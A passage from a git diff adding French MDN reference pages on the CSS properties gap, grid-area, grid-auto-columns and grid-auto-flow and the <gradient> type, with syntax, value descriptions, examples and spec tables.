+<div class="hidden">
+<pre class="brush: css notranslate">#grid {
+  grid-gap: 20px 5px;
+}
+</pre>
+</div>
+
+<pre class="brush: css; highlight[5] notranslate">#grid {
+  display: grid;
+  height: 200px;
+  grid-template: repeat(3, 1fr) / repeat(3, 1fr);
+  gap: 20px 5px;
+}
+
+#grid &gt; div {
+  border: 1px solid green;
+  background-color: lime;
+}
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Grilles_CSS", "auto", "120px")}}</p>
+
+<h3 id="Multi-colonnes">Multi-colonnes</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html; notranslate">&lt;p class="content-box"&gt;
+  voici un texte en multi-colonne sur des colonnes avec
+  une gouttière de 40 pixels créée grâce à la propriété
+  CSS &lt;code&gt;gap&lt;/code&gt;. Est-ce que c'est pas trop génial ?
+&lt;/p&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css; highlight[3] notranslate">.content-box {
+  column-count: 3;
+  gap: 40px;
+}
+</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Multi-column_layout", "auto", "120px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#propdef-gap", "gap")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_flexibles">Prise en charge pour les dispositions flexibles</h3>
+
+<p>{{Compat("css.properties.gap.flex_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_grilles_CSS">Prise en charge pour les grilles CSS</h3>
+
+<p>{{Compat("css.properties.gap.grid_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_multi-colonnes">Prise en charge pour les dispositions multi-colonnes</h3>
+
+<p>{{Compat("css.properties.gap.multicol_context")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les versions standards, sans préfixe, des propriétés associées :
+  <ul>
+   <li>{{cssxref("row-gap")}},</li>
+   <li>{{cssxref("column-gap")}},</li>
+  </ul>
+ </li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base#Les_gouttières">Guide : les concepts de base : les gouttières</a></li>
+</ul>
diff --git a/files/fr/web/css/gradient/index.html b/files/fr/web/css/gradient/index.html
new file mode 100644
index 0000000000..9dcad38554
--- /dev/null
+++ b/files/fr/web/css/gradient/index.html
@@ -0,0 +1,134 @@
+---
+title: <gradient>
+slug: Web/CSS/gradient
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/gradient
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée CSS <strong><code>&lt;gradient&gt;</code></strong> permet de représenter une {{cssxref("&lt;image&gt;")}} contenant un dégradé entre deux ou plusieurs couleurs. Un dégradé CSS n'est pas une couleur CSS (type {{cssxref("&lt;color&gt;")}}) mais une image <a href="/fr/docs/Web/CSS/image">sans dimension intrinsèque</a> (elle n'a aucune taille naturelle ou ratio), sa taille réelle sera celle de l'élément auquel elle est appliquée.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/type-gradient.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Comme pour l'interpolation des autres couleurs, les dégradés sont calculés dans l'espace de couleurs alpha prémultiplié. Cela permet d'éviter l'apparition de nuances de gris lorsque la couleur et l'opacité varient (on peut constater ce problème avec le mot-clé <code>transparent</code> dans d'anciens navigateurs).</p>
+
+<h2 id="Les_types_de_dégradés">Les types de dégradés</h2>
+
+<h3 id="Les_dégradés_linéaires">Les dégradés linéaires</h3>
+
+<p>Ils sont générés à partir de la fonction {{cssxref("linear-gradient", "linear-gradient()")}} : la couleur évolue suivant un axe imaginaire :</p>
+
+<pre class="brush: html hidden">A rainbow made from a gradient
+</pre>
+
+<pre class="brush: css">body {
+  background: -moz-linear-gradient(left,red,orange,yellow, green, blue,indigo,violet);
+  background: -webkit-linear-gradient(left,red,orange,yellow, green, blue,indigo,violet);
+  background: -ms-linear-gradient(left,red,orange,yellow, green, blue,indigo,violet);
+  background: -o-linear-gradient(left,red,orange,yellow, green, blue,indigo,violet);
+  background: linear-gradient(to right,red,orange,yellow, green, blue,indigo,violet);
+}</pre>
+
+<p>{{EmbedLiveSample('Les_dégradés_linéaires', 600, 20)}}</p>
+
+<h3 id="Les_dégradés_radiaux">Les dégradés radiaux</h3>
+
+<p>Ils sont générés à partir de la fonction {{cssxref("radial-gradient", "radial-gradient()")}}. Plus on s'éloigne du point d'origine, plus la couleur varie par rapport à la couleur d'origine :</p>
+
+<pre class="brush: html hidden">Radial gradient
+  </pre>
+
+<pre class="brush: css">body {
+  background: -moz-radial-gradient(red, yellow, rgb(30, 144, 255)) repeat scroll 0% 0% transparent;
+  background: radial-gradient(red, yellow, rgb(30, 144, 255));
+}
+</pre>
+
+<p>{{EmbedLiveSample('Les_dégradés_radiaux', 600, 20)}}</p>
+
+<h3 id="Les_dégradés_répétés">Les dégradés répétés</h3>
+
+<p>Ce sont des dégradés linéaires de taille fixe ou des dégradés radiaux qui sont répétés autant que nécessaire pour remplir la boîte visée :</p>
+
+<pre class="brush: html hidden">Repeating gradient
+</pre>
+
+<pre class="brush: css">body {
+  background: -moz-repeating-linear-gradient(top left -45deg, red, red 5px, white 5px, white 10px);
+  background: repeating-linear-gradient(to top left, red, red 5px, white 5px, white 10px);
+}  </pre>
+
+<p>{{EmbedLiveSample('Les_dégradés_répétés', 600, 20)}}</p>
+
+<h4 id="Dégradé_conique">Dégradé conique</h4>
+
+<p>Les couleurs de transitions s'appliquent progressivement autour d'un cercle. Un tel dégradé est généré avec la fonction {{cssref("conic-gradient","conic-gradient()")}}.</p>
+
+<div id="conic-gradient">
+<div class="hidden">
+<pre class="brush: html">&lt;div class="conic-gradient"&gt;Conic gradient&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 200px;
+  height: 200px;
+}</pre>
+</div>
+
+<pre class="brush: css">.conic-gradient {
+  background: conic-gradient(lightpink, white, powderblue);
+}
+</pre>
+
+<p>{{EmbedLiveSample('conic-gradient', 240, 80)}}</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#gradients', '&lt;gradient&gt;')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#gradients', '&lt;gradient&gt;')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td>Ajout des dégradés coniques.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.image.gradient")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS">Manipuler les dégradés CSS</a></li>
+ <li>{{cssxref("&lt;gradient&gt;")}}</li>
+ <li>{{cssxref("conic-gradient", "conic-gradient()")}}</li>
+ <li>{{cssxref("linear-gradient", "linear-gradient()")}}</li>
+ <li>{{cssxref("radial-gradient", "radial-gradient()")}}</li>
+ <li>{{cssxref("repeating-linear-gradient", "repeating-linear-gradient()")}}</li>
+ <li>{{cssxref("repeating-radial-gradient", "repeating-radial-gradient()")}}</li>
+ <li><a href="/fr/docs/Web/CSS/Types_CSS">Les types de donnée en CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeurs_et_unités_CSS">Les unités et valeurs en CSS</a></li>
+ <li><a href="fr/docs/Apprendre/CSS/Introduction_à_CSS/Values_and_units">Introduction à CSS : les unités et les valeurs</a></li>
+</ul>
diff --git a/files/fr/web/css/grid-area/index.html b/files/fr/web/css/grid-area/index.html
new file mode 100644
index 0000000000..11f8d6af87
--- /dev/null
+++ b/files/fr/web/css/grid-area/index.html
@@ -0,0 +1,156 @@
+---
+title: grid-area
+slug: Web/CSS/grid-area
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/grid-area
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>grid-area</code></strong> est une propriété raccourcie pour {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} et {{cssxref("grid-column-end")}} qui permet de définir la taille d'un objet de la grille et son emplacement via les bords de sa zone de grille.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-area.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Si quatre valeurs <code>&lt;grid-line&gt;</code> sont fournies, la première sera appliquée à <code>grid-row-start</code>, la deuxième à <code>grid-column-start</code>, la troisième à <code>grid-row-end</code> et la quatrième à <code>grid-column-end</code>.</p>
+
+<p>Lorsqu'il n'y a pas de valeur pour <code>grid-column-end</code>, si <code>grid-column-start</code> est un identifiant de zone ({{cssxref("&lt;custom-ident&gt;")}}, <code>grid-column-end</code> sera défini avec cet identifiant, sinon il sera défini avec <code>auto</code>.</p>
+
+<p>Lorsqu'il n'y a pas de valeur pour <code>grid-row-end</code>, si <code>grid-row-start</code> est un identifiant de zone, <code>grid-row-end</code> sera défini avec cet identifiant, sinon il sera défini avec <code>auto</code>.</p>
+
+<p>Lorsqu'il n'y  a pas de valeur pour <code>grid-column-start</code>, si <code>grid-row-start</code> est un identifiant de zone, les quatres propriétés seront définies avec cette valeur. Sinon, elles vaudront <code>auto</code>.</p>
+
+<p>La propriété <code>grid-area</code> peut également prendre comme valeur un identifiant personnalisé ({{cssxref("&lt;custom-ident&gt;")}}) qui pourra être utilisé comme nom pour une zone de la grille placée grâce à la propriété {{cssxref("grid-template-areas")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+grid-area: auto;
+grid-area: auto / auto;
+grid-area: auto / auto / auto;
+grid-area: auto / auto / auto / auto;
+
+/* Valeurs de type &lt;custom-ident&gt; */
+grid-area: une-zone-de-grille;
+grid-area: une-zone-de-grille / une-autre-zone;
+
+/* Forme : &lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;? */
+grid-area: une-zone-de-grille 4;
+grid-area: une-zone-de-grille 4 / 2 une-autre-zone;
+
+/* Forme span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ] */
+grid-area: span 3;
+grid-area: span 3 / span une-zone-de-grille;
+grid-area: 2 span / une-autre-zone span;
+
+/* Valeurs globales */
+grid-area: inherit;
+grid-area: initial;
+grid-area: unset;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui indique que la propriété ne contribue pas au placement de l'élément sur la grille. Cela indique un placement automatique, une taille de fragment (<em>span</em>) automatique ou une taille par défaut de <code>1</code>.</dd>
+ <dt><code>&lt;custom-ident&gt;</code></dt>
+ <dd>S'il existe une ligne nommée avec '&lt;custom-ident&gt;-start', la première ligne correspondante contribue au placement de l'élément sur la grille.
+ <p class="note"><strong>Note :</strong> Les noms des zones de grille sont générés implicitement. Ainsi, en utilisant <code>grid-area: foo;</code> cela sélectionnera le début de la grille nommée correspondante (sauf si une autre ligne <code>foo-start</code> a été explicitement déclarée).</p>
+
+ <p>Sinon, la valeur est traitée comme si on avait utilisé <code>&lt;custom-ident&gt;</code> et la valeur <code>1</code>.</p>
+ </dd>
+ <dt><code>&lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;?</code></dt>
+ <dd>La n-ième ligne de la grille contribue au placement de l'élément sur la grille. Si un entier négatif est utilisé, le comptage sera fait depuis la fin de la grille explicite.
+ <p>Si un nom est fourni pour &lt;custom-ident&gt;, seules les lignes ayant ce nom seront comptées. S'il n'y a pas suffisamment de lignes existant avec ce nom, toutes les lignes implicites seront comptées afin de trouver la position.</p>
+
+ <p>Si la valeur entière utilisée est <code>0</code>, la règle est invalide.</p>
+ </dd>
+ <dt><code>span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ]</code></dt>
+ <dd>Un fragment de grille est utilisé pour le placement de l'élément sur la grille afin que le début de la ligne pour l'élément de la grille soit placé à n lignes du bord de fin.
+ <p>Si un nom fourni pour &lt;custom-ident&gt;, seules les lignes ayant ce nom seront comptées. S'il n'y a pas suffisamment de lignes existantes avec ce nom, tout les lignes implicites du côté de la grille explicite et qui correspondent à la direction de la recherche seront comptées afin de placer ce fragment.</p>
+
+ <p>Si l'entier n'est pas défini, la valeur par défaut qui sera utilisée sera <code>1</code>. Les entiers négatifs ou nuls sont invalides.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[9]">#grid {
+  display: grid;
+  height: 100px;
+  grid-template: repeat(4, 1fr) / 50px 100px;
+}
+
+#item1 {
+  background-color: lime;
+  grid-area: 2 / 2 / auto / span 3;
+}
+
+#item2 {
+  background-color: yellow;
+}
+
+#item3 {
+  background-color: blue;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="item1"&gt;&lt;/div&gt;
+  &lt;div id="item2"&gt;&lt;/div&gt;
+  &lt;div id="item3"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", "150px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-area", "grid-area")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-area")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("grid-row")}}</li>
+ <li>{{cssxref("grid-row-start")}}</li>
+ <li>{{cssxref("grid-row-end")}}</li>
+ <li>{{cssxref("grid-column")}}</li>
+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille">Guide : les zones des grilles CSS</a></li>
+ <li>Tutoriel vidéo : <a href="http://gridbyexample.com/video/grid-template-areas/">les zones des grilles CSS (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/grid-auto-columns/index.html b/files/fr/web/css/grid-auto-columns/index.html
new file mode 100644
index 0000000000..07cac850ff
--- /dev/null
+++ b/files/fr/web/css/grid-auto-columns/index.html
@@ -0,0 +1,160 @@
+---
+title: grid-auto-columns
+slug: Web/CSS/grid-auto-columns
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/grid-auto-columns
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>grid-auto-columns</code></strong> définit la taille d'une colonne de grille créée de façon implicite.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-auto-columns.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Si un élément de la grille est positionné sur une colonne dont la taille n'est pas explicitement définie avec {{cssxref("grid-template-columns")}}, une piste implicite est créée pour contenir l'élément. Cela peut se produire lorsqu'on positionne un élément sur une ligne inexistante ou lorsque l'algorithme de placement automatique ajoute des colonnes supplémentaires.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css  no-line-numbers">/* Valeurs avec un mot-clé */
+grid-auto-columns: min-content;
+grid-auto-columns: max-content;
+grid-auto-columns: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+grid-auto-columns: 100px;
+grid-auto-columns: 20cm;
+grid-auto-columns: 50vmax;
+
+/* Valeurs proportionnelles */
+/* Type &lt;percentage&gt;        */
+grid-auto-columns: 10%;
+grid-auto-columns: 33.3%;
+
+/* Valeurs &lt;flex&gt; */
+grid-auto-columns: 0.5fr;
+grid-auto-columns: 3fr;
+
+/* Valeurs minmax() */
+grid-auto-columns: minmax(100px, auto);
+grid-auto-columns: minmax(max-content, 2fr);
+grid-auto-columns: minmax(20%, 80vmax);
+
+/* Valeurs fit-content() */
+grid-auto-columns: fit-content(400px);
+grid-auto-columns: fit-content(5cm);
+grid-auto-columns: fit-content(20%);
+
+/* Gestion de plusieurs pistes */
+grid-auto-columns: min-content max-content auto;
+grid-auto-columns: 100px 150px 390px;
+​​​​​​​grid-auto-columns: 10% 33.3%;
+grid-auto-columns: 0.5fr 3fr 1fr;
+​​​​​​​grid-auto-columns: minmax(100px, auto) minmax(max-content, 2fr) minmax(20%, 80vmax);
+grid-auto-columns: 100px minmax(100px, auto) 10% 0.5fr fit-content(400px);
+
+/* Valeurs globales */
+grid-auto-columns: inherit;
+grid-auto-columns: initial;
+grid-auto-columns: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une longueur positive (cf. type {{cssxref("&lt;length&gt;")}}.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un pourcentage positif indiquant la taille de la ligne relativement à la taille du bloc qui contient la grille. Si la taille de ce bloc n'est pas définie, la valeur exprimée en pourcents est considérée comme <code>auto</code>.</dd>
+ <dt><code>&lt;flex&gt;</code></dt>
+ <dd>Une dimension positive dont l'unité <code>fr</code> indique le facteur de flexibilité de la piste. Chaque piste dimensionnée avec <code>&lt;flex&gt;</code> occupera une partie de l'espace restant en fonction de ce facteur.
+ <p>Lorsque cette valeur apparaît en dehors de la notation <code>minmax()</code>, la valeur minimale <code>auto</code> est implicite (la valeur signifie <code>minmax(auto, &lt;flex&gt;)</code>).</p>
+ </dd>
+ <dt><code>max-content</code></dt>
+ <dd>Un mot-clé qui représente la plus grande des contributions maximales de contenu aux objets de la grilles qui occupe la piste de la grille.</dd>
+ <dt><code>min-content</code></dt>
+ <dd>Un mot-clé qui représente la plus grande des contributions minimales de contenu aux objets de la grilles qui occupe la piste de la grille</dd>
+ <dt><code>minmax(min, max)</code></dt>
+ <dd>Une notation fonctionnelle qui définit un intervalle de taille entre <code>min</code> et <code>max</code>. Si <code>max</code> est inférieur à <code>min</code>, <code>max</code> est ignoré et la fonction est traitée comme un minimum. En tant que maximum, elle joue le rôle d'une valeur <code>&lt;flex&gt;</code> qui définit le facteur de flexibilité de la piste. En tant que minimum, elle est gérée comme zéro (ou comme le contenu minimal si le conteneur de la grille impose une contrainte de contenu minimal).</dd>
+ <dt><code>fit-content(argument)</code></dt>
+ <dd>Cette notation représente la formule <code>min(max-content, max(auto, argument))</code> qui est calculée de façon semblable à <code>auto</code>, sauf qu'ici, la taille de la piste est écrétée à <em>argument</em> s'i elle est plus grande que le minimum <code>auto</code>.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui est identique au contenu maximal si c'est un maximum. Si c'est un minimum, il représente la plus grande des plus petites tailles (définie par {{cssxref("min-width")}}/{{cssxref("min-height")}})) des objets de la grilles qui occupe cette piste de la grille.</dd>
+ <dd>
+ <p class="note"><strong>Note :</strong> Les pistes de taille <code>auto</code> (et uniquement celles-ci) peuvent être étirées grâce aux propriétés {{cssxref("align-content")}} et {{cssxref("justify-content")}}.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[6]">#grid {
+  width: 100px;
+  display: grid;
+  grid-template-areas: "a a";
+  grid-gap: 10px;
+  grid-auto-columns: 200px;
+}
+
+#grid &gt; div {
+  background-color: lime;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="item1"&gt;&lt;/div&gt;
+  &lt;div id="item2"&gt;&lt;/div&gt;
+  &lt;div id="item3"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "410px", "100px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-auto-columns", "grid-auto-columns")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-auto-columns")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid-auto-flow")}}</li>
+ <li>{{cssxref("grid")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS#Dimensionner_les_lignes_de_la_grille_implicite">Guide : le placement automatique sur la grille - dimensionner les lignes de la grille implicite</a></li>
+ <li>Tutoriel vidéo : <a href="http://gridbyexample.com/video/series-auto-placement-order/">Introduction au placement automatique sur la grille et à l'ordre des éléments (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/grid-auto-flow/index.html b/files/fr/web/css/grid-auto-flow/index.html
new file mode 100644
index 0000000000..375fb92ba8
--- /dev/null
+++ b/files/fr/web/css/grid-auto-flow/index.html
@@ -0,0 +1,163 @@
+---
+title: grid-auto-flow
+slug: Web/CSS/grid-auto-flow
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/grid-auto-flow
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>grid-auto-flow</code></strong> permet de contrôler la façon dont fonctionne l'algorithme de placement automatique. Celui-ci définit exactement comme les objets placés automatiquement s'inscrivent dans la grille.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-auto-flow.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+grid-auto-flow: row;
+grid-auto-flow: column;
+grid-auto-flow: dense;
+grid-auto-flow: row dense;
+grid-auto-flow: column dense;
+
+/* Valeurs globales */
+grid-auto-flow: inherit;
+grid-auto-flow: initial;
+grid-auto-flow: unset;
+</pre>
+
+<p>Cette propriété peut prendre deux formes :</p>
+
+<ul>
+ <li>la première avec un seul mot-clé parmi : <code>row</code>, <code>column</code> ou <code>dense</code></li>
+ <li>la seconde avec deux mots-clés : <code>row dense</code> ou <code>column dense</code>.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>row</code></dt>
+ <dd>Les éléments sont organisés en remplissant chacune des lignes au fur et à mesure, quitte à en ajouter si besoin. Si aucune valeur entre <code>row</code> ou <code>column</code> n'est fournie, <code>row</code> sera la valeur par défaut.</dd>
+ <dt><code>column</code></dt>
+ <dd>Les éléments sont organisés en remplissant chacune des colonnes au fur et à mesure, quitte à en ajouter si besoin.</dd>
+ <dt><code>dense</code></dt>
+ <dd>L'algorithme de placement automatique utilisera une méthode de « regroupement dense » où il essaie de remplir les trous dans la grille si des éléments plus petits arrivent ensuite. De fait, on peut obtenir une impression de désordre alors qu'il s'agit simplement du comblement des espaces libres.
+ <p>Si cette valeur est absente, le moteur utilisera un algorithme simple qui ne fait que se déplacer vers l'avant, sans revenir vers les espaces vides. De cette façon, les éléments apparaitront nécessairement dans l'ordre mais pourront laisser des trous.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[7]">#grid {
+  height: 200px;
+  width: 200px;
+  display: grid;
+  grid-gap: 10px;
+  grid-template: repeat(4, 1fr) / repeat(2, 1fr);
+  grid-auto-flow: column;  /* ou 'row', 'row dense', 'column dense' */
+}
+
+#item1 {
+  background-color: lime;
+  grid-row-start: 3;
+}
+
+#item2 {
+  background-color: yellow;
+}
+
+#item3 {
+  background-color: blue;
+}
+
+#item4 {
+  grid-column-start: 2;
+  background-color: red;
+}
+
+#item5 {
+  background-color: aqua;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="item1"&gt;&lt;/div&gt;
+  &lt;div id="item2"&gt;&lt;/div&gt;
+  &lt;div id="item3"&gt;&lt;/div&gt;
+  &lt;div id="item4"&gt;&lt;/div&gt;
+  &lt;div id="item5"&gt;&lt;/div&gt;
+&lt;/div&gt;
+&lt;select id="direction" onchange="changeGridAutoFlow()"&gt;
+  &lt;option value="column"&gt;column&lt;/option&gt;
+  &lt;option value="row"&gt;row&lt;/option&gt;
+&lt;/select&gt;
+&lt;input id="dense" type="checkbox" onchange="changeGridAutoFlow()"&gt;
+&lt;label for="dense"&gt;dense&lt;/label&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js;">function changeGridAutoFlow() {
+  var grid = document.getElementById("grid");
+  var direction = document.getElementById("direction");
+  var dense = document.getElementById("dense");
+  var gridAutoFlow = direction.value === "row" ? "row" : "column";
+
+  if (dense.checked) {
+    gridAutoFlow += " dense";
+  }
+
+  grid.style.gridAutoFlow = gridAutoFlow;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "200px", "230px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-auto-flow", "grid-auto-flow")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("css.properties.grid-auto-flow")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
